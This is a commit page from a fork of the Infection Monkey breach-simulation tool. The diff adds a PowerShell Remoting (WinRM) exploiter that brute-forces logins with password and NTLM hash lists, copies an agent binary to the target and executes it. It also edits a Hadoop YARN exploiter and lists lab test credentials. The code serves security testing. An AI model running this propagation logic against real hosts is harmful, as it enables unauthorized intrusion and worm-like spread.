p15693087
/
monkey
forked from p15670423/monkey
1
0
Fork 0
Code Issues Pull Requests 1 Projects Releases Wiki Activity

Merge pull request #1778 from guardicore/1740-add-powershell-to-puppet 

1740 add powershell to puppet
This commit is contained in:
Mike Salvatore 2022-03-16 13:13:42 -04:00 committed by GitHub
parent 8ae37a5370 f9936fe65d
commit 2683594983
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
13 changed files with 267 additions and 220 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
envs/monkey_zoo/docs/fullDocs.md
View File

@ -924,7 +924,8 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Passw0rd!<br>User: m0nk3y-user, No Password.</td>
<td>User: m0nk3y, Password: Passw0rd!<br>User: m0nk3y-user, No Password.<br>
Accessibale through Island using m0nk3y-user.</td>
</tr>
</tbody>
</table>
@ -952,7 +953,8 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Passw0rd!</td>
<td>User: m0nk3y, Password: Passw0rd!<br>
Accessiable through cached credentials (Windows Island)</td>
</tr>
</tbody>
</table>
@ -980,7 +982,8 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Xk8VDTsC</td>
<td>User: m0nk3y, Password: Xk8VDTsC<br>
Accessiable through the Island using NTLM hash</td>
</tr>
</tbody>
</table>
@ -1008,7 +1011,8 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Passw0rd!</td>
<td>User: m0nk3y, Password: Passw0rd!<br>
Accessiable only through <strong>3-45 Powershell</strong> using credentials reuse</td>
</tr>
</tbody>
</table>

9
monkey/infection_monkey/exploit/caching_agent_repository.py
View File

@ -1,4 +1,5 @@
import io
import threading
from functools import lru_cache
from typing import Mapping
@ -19,9 +20,15 @@ class CachingAgentRepository(IAgentRepository):
def __init__(self, island_url: str, proxies: Mapping[str, str]):
self._island_url = island_url
self._proxies = proxies
self._lock = threading.Lock()
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
return io.BytesIO(self._download_binary_from_island(os))
# If multiple calls to get_agent_binary() are made simultaneously before the result of
# _download_binary_from_island() is cached, then multiple requests will be sent to the
# island. Add a mutex in front of the call to _download_agent_binary_from_island() so
# that only one request per OS will be sent to the island.
with self._lock:
return io.BytesIO(self._download_binary_from_island(os))
@lru_cache(maxsize=None)
def _download_binary_from_island(self, os: str) -> bytes:

3
monkey/infection_monkey/exploit/consts.py
View File

@ -1,3 +0,0 @@
# Constants used to refer to windows architectures
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"

7
monkey/infection_monkey/exploit/hadoop.py
View File

@ -6,8 +6,8 @@
import json
import posixpath
import random
import string
from random import SystemRandom
import requests
@ -71,10 +71,11 @@ class HadoopExploiter(WebRCE):
)
resp = json.loads(resp.content)
app_id = resp["application-id"]
# Create a random name for our application in YARN
safe_random = SystemRandom()
# random.SystemRandom can block indefinitely in Linux
rand_name = ID_STRING + "".join(
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
[random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] # noqa: DUO102
)
payload = self._build_payload(app_id, rand_name, command)
resp = requests.post(

173
monkey/infection_monkey/exploit/powershell.py
View File

@ -3,7 +3,6 @@ import os
from typing import List, Optional
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import (
AUTH_NEGOTIATE,
@ -21,69 +20,91 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
IPowerShellClient,
PowerShellClient,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_random_file_suffix
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
logger = logging.getLogger(__name__)
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
class PowerShellRemotingDisabledError(Exception):
pass
class RemoteAgentCopyError(Exception):
pass
class RemoteAgentExecutionError(Exception):
pass
class PowerShellExploiter(HostExploiter):
_TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
def __init__(self, host: VictimHost):
super().__init__(host)
def __init__(self):
super().__init__()
self._client = None
def _exploit_host(self):
try:
use_ssl = self._is_client_using_https()
except PowerShellRemotingDisabledError as e:
logging.info(e)
return False
logger.info(e)
self.exploit_result.error_message = (
"PowerShell Remoting appears to be disabled on the remote host"
)
return self.exploit_result
credentials = get_credentials(
self._config.exploit_user_list,
self._config.exploit_password_list,
self._config.exploit_lm_hash_list,
self._config.exploit_ntlm_hash_list,
self.options["credentials"]["exploit_user_list"],
self.options["credentials"]["exploit_password_list"],
self.options["credentials"]["exploit_lm_hash_list"],
self.options["credentials"]["exploit_ntlm_hash_list"],
is_windows_os(),
)
auth_options = [get_auth_options(creds, use_ssl) for creds in credentials]
self._client = self._authenticate_via_brute_force(credentials, auth_options)
if not self._client:
return False
self.exploit_result.error_message = (
"Unable to authenticate to the remote host using any of the available credentials"
)
return self.exploit_result
return self._execute_monkey_agent_on_victim()
self.exploit_result.exploitation_success = True
try:
self._execute_monkey_agent_on_victim()
self.exploit_result.propagation_success = True
except Exception as ex:
logger.error(f"Failed to propagate to the remote host: {ex}")
self.exploit_result.error_message = str(ex)
return self.exploit_result
def _is_client_using_https(self) -> bool:
try:
logging.debug("Checking if powershell remoting is enabled over HTTP.")
logger.debug("Checking if powershell remoting is enabled over HTTP.")
self._try_http()
return False
except AuthenticationError:
return False
except Exception as e:
logging.debug(f"Powershell remoting over HTTP seems disabled: {e}")
logger.debug(f"Powershell remoting over HTTP seems disabled: {e}")
try:
logging.debug("Checking if powershell remoting is enabled over HTTPS.")
logger.debug("Checking if powershell remoting is enabled over HTTPS.")
self._try_https()
return True
except AuthenticationError:
return True
except Exception as e:
logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
logger.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
def _try_http(self):
@ -93,8 +114,10 @@ class PowerShellExploiter(HostExploiter):
self._try_ssl_login(use_ssl=True)
def _try_ssl_login(self, use_ssl: bool):
# '.\' is machine qualifier if the user is in the local domain
# which happens if we try to exploit a machine on second hop
credentials = Credentials(
username="dummy_username",
username=".\\dummy_username",
secret="dummy_password",
secret_type=SecretType.PASSWORD,
)
@ -105,38 +128,33 @@ class PowerShellExploiter(HostExploiter):
ssl=use_ssl,
)
PowerShellClient(self.host.ip_addr, credentials, auth_options)
# TODO: Report login attempt or find a better way of detecting if SSL is enabled
client = PowerShellClient(self.host.ip_addr, credentials, auth_options)
client.connect()
def _authenticate_via_brute_force(
self, credentials: List[Credentials], auth_options: List[AuthOptions]
) -> Optional[IPowerShellClient]:
for (creds, opts) in zip(credentials, auth_options):
client = PowerShellClient(self.host.ip_addr, creds, opts)
if self._is_client_auth_valid(creds, client):
try:
client = PowerShellClient(self.host.ip_addr, creds, opts)
client.connect()
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self._report_login_attempt(True, creds)
return client
except Exception as ex:
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
self._report_login_attempt(False, creds)
return None
def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool:
try:
# attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir")
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self._report_login_attempt(True, creds)
return True
except Exception as ex: # noqa: F841
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
self._report_login_attempt(False, creds)
return False
def _report_login_attempt(self, result: bool, credentials: Credentials):
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
self.report_login_attempt(result, credentials.username, password=credentials.secret)
@ -147,57 +165,42 @@ class PowerShellExploiter(HostExploiter):
else:
raise ValueError(f"Unknown secret type {credentials.secret_type}")
def _execute_monkey_agent_on_victim(self) -> bool:
arch = self._client.get_host_architecture()
self.is_32bit = arch == WIN_ARCH_32
logger.debug(f"Host architecture is {arch}")
def _execute_monkey_agent_on_victim(self):
monkey_path_on_victim = self.options["dropper_target_path_win_64"]
monkey_path_on_victim = (
self._config.dropper_target_path_win_32
if self.is_32bit
else self._config.dropper_target_path_win_64
)
self._copy_monkey_binary_to_victim(monkey_path_on_victim)
logger.info("Successfully copied the monkey binary to the victim.")
is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
if is_monkey_copy_successful:
logger.info("Successfully copied the monkey binary to the victim.")
self._run_monkey_executable_on_victim(monkey_path_on_victim)
else:
logger.error("Failed to copy the monkey binary to the victim.")
return False
return True
def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool:
try:
self._write_virtual_file_to_local_path()
logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
is_monkey_copy_successful = self._client.copy_file(
TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim
)
self._run_monkey_executable_on_victim(monkey_path_on_victim)
except Exception as ex:
raise ex
raise RemoteAgentExecutionError(
f"Failed to execute the agent binary on the victim: {ex}"
)
def _copy_monkey_binary_to_victim(self, monkey_path_on_victim):
temp_monkey_binary_filepath = f"monkey_temp_bin_{get_random_file_suffix()}"
self._create_local_agent_file(temp_monkey_binary_filepath)
try:
logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
self._client.copy_file(temp_monkey_binary_filepath, monkey_path_on_victim)
except Exception as ex:
raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}")
finally:
if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH):
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
if os.path.isfile(temp_monkey_binary_filepath):
os.remove(temp_monkey_binary_filepath)
return is_monkey_copy_successful
def _create_local_agent_file(self, binary_path):
agent_binary_bytes = self.agent_repository.get_agent_binary("windows")
with open(binary_path, "wb") as f:
f.write(agent_binary_bytes.getvalue())
def _write_virtual_file_to_local_path(self) -> None:
"""
# TODO: monkeyfs has been removed. Fix this in issue #1740.
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
"""
pass
def _run_monkey_executable_on_victim(self, executable_path) -> None:
def _run_monkey_executable_on_victim(self, executable_path):
monkey_execution_command = build_monkey_execution_command(
self.host, get_monkey_depth() - 1, executable_path
self.host, self.current_depth - 1, executable_path
)
logger.info(

0
monkey/infection_monkey/exploit/powershell_utils/__init__.py Normal file
View File

44
monkey/infection_monkey/exploit/powershell_utils/powershell_client.py
View File

@ -1,6 +1,6 @@
import abc
import logging
from typing import Optional, Union
from typing import Optional
import pypsrp
import spnego
@ -10,10 +10,8 @@ from pypsrp.powershell import PowerShell, RunspacePool
from typing_extensions import Protocol
from urllib3 import connectionpool
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
from infection_monkey.model import GET_ARCH_WINDOWS
logger = logging.getLogger(__name__)
@ -57,11 +55,11 @@ def format_password(credentials: Credentials) -> Optional[str]:
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
@abc.abstractmethod
def execute_cmd(self, cmd: str) -> str:
def connect(self) -> str:
pass
@abc.abstractmethod
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
def execute_cmd(self, cmd: str) -> str:
pass
@abc.abstractmethod
@ -78,38 +76,38 @@ class PowerShellClient(IPowerShellClient):
_set_sensitive_packages_log_level_to_error()
self._ip_addr = ip_addr
self._credentials = credentials
self._auth_options = auth_options
self._client = None
def connect(self):
self._client = Client(
ip_addr,
username=credentials.username,
password=format_password(credentials),
self._ip_addr,
username=self._credentials.username,
password=format_password(self._credentials),
cert_validation=False,
auth=auth_options.auth_type,
encryption=auth_options.encryption,
ssl=auth_options.ssl,
auth=self._auth_options.auth_type,
encryption=self._auth_options.encryption,
ssl=self._auth_options.ssl,
connection_timeout=CONNECTION_TIMEOUT,
)
# Attempt to execute dir command to know if authentication was successful. This will raise
# an exception if authentication was not successful.
self.execute_cmd("dir")
logger.debug("Successfully authenticated to remote PowerShell service")
def execute_cmd(self, cmd: str) -> str:
output, _, _ = self._client.execute_cmd(cmd)
return output
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS)
if "64-bit" in stdout:
return WIN_ARCH_64
return WIN_ARCH_32
def copy_file(self, src: str, dest: str) -> bool:
def copy_file(self, src: str, dest: str):
try:
self._client.copy(src, dest)
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
return True
except Exception as ex:
logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}")
return False
raise ex
def execute_cmd_as_detached_process(self, cmd: str):
logger.debug(

9
monkey/infection_monkey/exploit/tools/helpers.py
View File

@ -1,4 +1,6 @@
import logging
import random
import string
from typing import Any, Mapping
from infection_monkey.model import VictimHost
@ -23,6 +25,13 @@ def get_target_monkey_by_os(is_windows, is_32bit):
)
def get_random_file_suffix() -> str:
character_set = list(string.ascii_letters + string.digits + "_" + "-")
# random.SystemRandom can block indefinitely in Linux
random_string = "".join(random.choices(character_set, k=8)) # noqa: DUO102
return random_string
def get_monkey_depth():
from infection_monkey.config import WormConfiguration

7
monkey/infection_monkey/exploit/tools/http_tools.py
View File

@ -16,9 +16,11 @@ logger = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
def try_create_locked_transfer(
host, src_path, agent_repository, local_ip=None, local_port=None
):
http_path, http_thread = HTTPTools.create_locked_transfer(
host, src_path, local_ip, local_port
host, src_path, agent_repository, local_ip, local_port
)
if not http_path:
raise Exception("Http transfer creation failed.")
@ -33,6 +35,7 @@ class HTTPTools(object):
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param agent_repository: Repository to download Monkey agents
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler

2
monkey/infection_monkey/model/__init__.py
View File

@ -43,8 +43,6 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING
# Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses
HADOOP_WINDOWS_COMMAND = (
"powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { "

4
monkey/infection_monkey/monkey.py
View File

@ -19,6 +19,7 @@ from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.log4shell import Log4ShellExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
from infection_monkey.exploit.powershell import PowerShellExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.zerologon import ZerologonExploiter
@ -221,6 +222,9 @@ class InfectionMonkey:
puppet.load_plugin(
"Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER
)
puppet.load_plugin(
"PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER
)
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
puppet.load_plugin(

2
monkey/monkey_island/cc/services/run_local_monkey.py
View File

@ -47,7 +47,7 @@ class LocalMonkeyRunService:
ip = local_ip_addresses()[0]
port = ISLAND_PORT
args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"]
args = [str(dest_path), "m0nk3y", "-s", f"{ip}:{port}"]
subprocess.Popen(args, cwd=LocalMonkeyRunService.DATA_DIR)
except Exception as exc:
logger.error("popen failed", exc_info=True)

215
monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
View File

@ -1,10 +1,9 @@
from collections import namedtuple
from io import BytesIO
from unittest.mock import MagicMock
import pytest
from infection_monkey.exploit import powershell
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credentials import Credentials
from infection_monkey.model.host import VictimHost
@ -16,93 +15,111 @@ USER_LIST = ["user1", "user2"]
PASSWORD_LIST = ["pass1", "pass2"]
LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
DROPPER_TARGET_PATH_32 = "C:\\agent32"
DROPPER_TARGET_PATH_64 = "C:\\agent64"
Config = namedtuple(
"Config",
[
"exploit_user_list",
"exploit_password_list",
"exploit_lm_hash_list",
"exploit_ntlm_hash_list",
"dropper_target_path_win_64",
],
)
class AuthenticationErrorForTests(Exception):
pass
mock_agent_repository = MagicMock()
mock_agent_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EXECUTABLE")
@pytest.fixture
def powershell_arguments():
options = {
"dropper_target_path_win_64": DROPPER_TARGET_PATH_64,
"credentials": {
"exploit_user_list": USER_LIST,
"exploit_password_list": PASSWORD_LIST,
"exploit_lm_hash_list": LM_HASH_LIST,
"exploit_ntlm_hash_list": NT_HASH_LIST,
},
}
arguments = {
"host": VictimHost("127.0.0.1"),
"options": options,
"current_depth": 2,
"telemetry_messenger": MagicMock(),
"agent_repository": mock_agent_repository,
}
return arguments
@pytest.fixture
def powershell_exploiter(monkeypatch):
host = VictimHost("127.0.0.1")
pe = powershell.PowerShellExploiter(host)
pe._config = Config(
USER_LIST,
PASSWORD_LIST,
LM_HASH_LIST,
NT_HASH_LIST,
DROPPER_TARGET_PATH_32,
DROPPER_TARGET_PATH_64,
)
pe = powershell.PowerShellExploiter()
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
# it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
# fix this.
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
return pe
def test_powershell_disabled(monkeypatch, powershell_exploiter):
mock_powershell_client = MagicMock(side_effect=Exception)
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_arguments):
mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=Exception)
monkeypatch.setattr(
powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
)
success = powershell_exploiter.exploit_host()
assert not success
exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
assert not exploit_result.exploitation_success
assert not exploit_result.propagation_success
assert "disabled" in exploit_result.error_message
def test_powershell_http(monkeypatch, powershell_exploiter):
def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments):
def allow_http(_, credentials: Credentials, auth_options: AuthOptions):
if not auth_options.ssl:
raise AuthenticationErrorForTests
else:
raise Exception
mock_powershell_client = MagicMock(side_effect=allow_http)
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
powershell_exploiter.exploit_host()
mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=allow_http)
monkeypatch.setattr(
powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
)
powershell_exploiter.exploit_host(**powershell_arguments)
for call_args in mock_powershell_client.call_args_list:
assert not call_args[0][2].ssl
def test_powershell_https(monkeypatch, powershell_exploiter):
def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments):
def allow_https(_, credentials: Credentials, auth_options: AuthOptions):
if auth_options.ssl:
raise AuthenticationErrorForTests
else:
raise Exception
mock_powershell_client = MagicMock(side_effect=allow_https)
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
powershell_exploiter.exploit_host()
mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=allow_https)
monkeypatch.setattr(
powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
)
powershell_exploiter.exploit_host(**powershell_arguments)
for call_args in mock_powershell_client.call_args_list:
if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password":
assert call_args[0][2].ssl
def test_no_valid_credentials(monkeypatch, powershell_exploiter):
mock_powershell_client = MagicMock(side_effect=AuthenticationErrorForTests)
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_arguments):
mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=AuthenticationErrorForTests)
monkeypatch.setattr(
powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
)
success = powershell_exploiter.exploit_host()
assert not success
exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
assert not exploit_result.exploitation_success
assert not exploit_result.propagation_success
assert "Unable to authenticate" in exploit_result.error_message
def authenticate(mock_client):
@ -115,72 +132,78 @@ def authenticate(mock_client):
return inner
@pytest.mark.parametrize(
"dropper_target_path,arch",
[(DROPPER_TARGET_PATH_32, WIN_ARCH_32), (DROPPER_TARGET_PATH_64, WIN_ARCH_64)],
)
def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch):
def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments):
mock_client = MagicMock()
mock_client.return_value.get_host_architecture = lambda: arch
mock_client.return_value.copy_file = MagicMock(return_value=True)
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
success = powershell_exploiter.exploit_host()
exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1]
assert success
assert DROPPER_TARGET_PATH_64 in mock_client.return_value.copy_file.call_args[0][1]
assert exploit_result.exploitation_success
def test_failed_copy(monkeypatch, powershell_exploiter):
def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments):
mock_client = MagicMock()
mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
mock_client.return_value.copy_file = MagicMock(return_value=False)
mock_client.return_value.copy_file = MagicMock(side_effect=Exception("COPY FAILED"))
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
success = powershell_exploiter.exploit_host()
assert not success
exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
assert exploit_result.exploitation_success
assert not exploit_result.propagation_success
assert "copy" in exploit_result.error_message
def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
mock_client = MagicMock()
mock_client.get_host_architecture = lambda: WIN_ARCH_32
mock_client.copy_file = MagicMock(return_value=True)
mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception)
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
success = powershell_exploiter.exploit_host()
assert not success
def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter):
mock_client = MagicMock()
mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
mock_client.return_value.copy_file = MagicMock(return_value=True)
# execute_cmd method will throw exceptions for 5 first calls.
# 6-th call doesn't throw an exception == credentials successful
execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True]
mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns)
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
powershell_exploiter.exploit_host()
# Total 6 attempts reported, 5 failed and 1 succeeded
assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns)
assert (
len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]])
== 5
def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments):
mock_powershell_client = MagicMock()
mock_powershell_client.execute_cmd_as_detached_process = MagicMock(
side_effect=Exception("EXECUTION FAILED")
)
assert (
len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]])
== 1
monkeypatch.setattr(
powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
)
exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
assert exploit_result.exploitation_success is True
assert exploit_result.propagation_success is False
assert "execute" in exploit_result.error_message
def test_successful_propagation(monkeypatch, powershell_exploiter, powershell_arguments):
mock_client = MagicMock()
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
assert exploit_result.exploitation_success
assert exploit_result.propagation_success
assert not exploit_result.error_message
def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments):
# 1st call is for determining HTTP/HTTPs. 6 remaining calls are actual login attempts. the 6th
# login attempt doesn't throw an exception, signifying that login with credentials was
# successful.
connection_attempts = [True, Exception, Exception, Exception, Exception, Exception, True]
mock_powershell_client = MagicMock(side_effect=connection_attempts)
mock_powershell_client.connect = MagicMock(side_effect=connection_attempts)
monkeypatch.setattr(
powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
)
exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
successful_attempts = [attempt for attempt in exploit_result.attempts if attempt["result"]]
unsuccessful_attempts = [
attempt for attempt in exploit_result.attempts if not attempt["result"]
]
assert len(exploit_result.attempts) == 6
assert len(unsuccessful_attempts) == 5
assert len(successful_attempts) == 1
def test_build_monkey_execution_command():
host = VictimHost("127.0.0.1")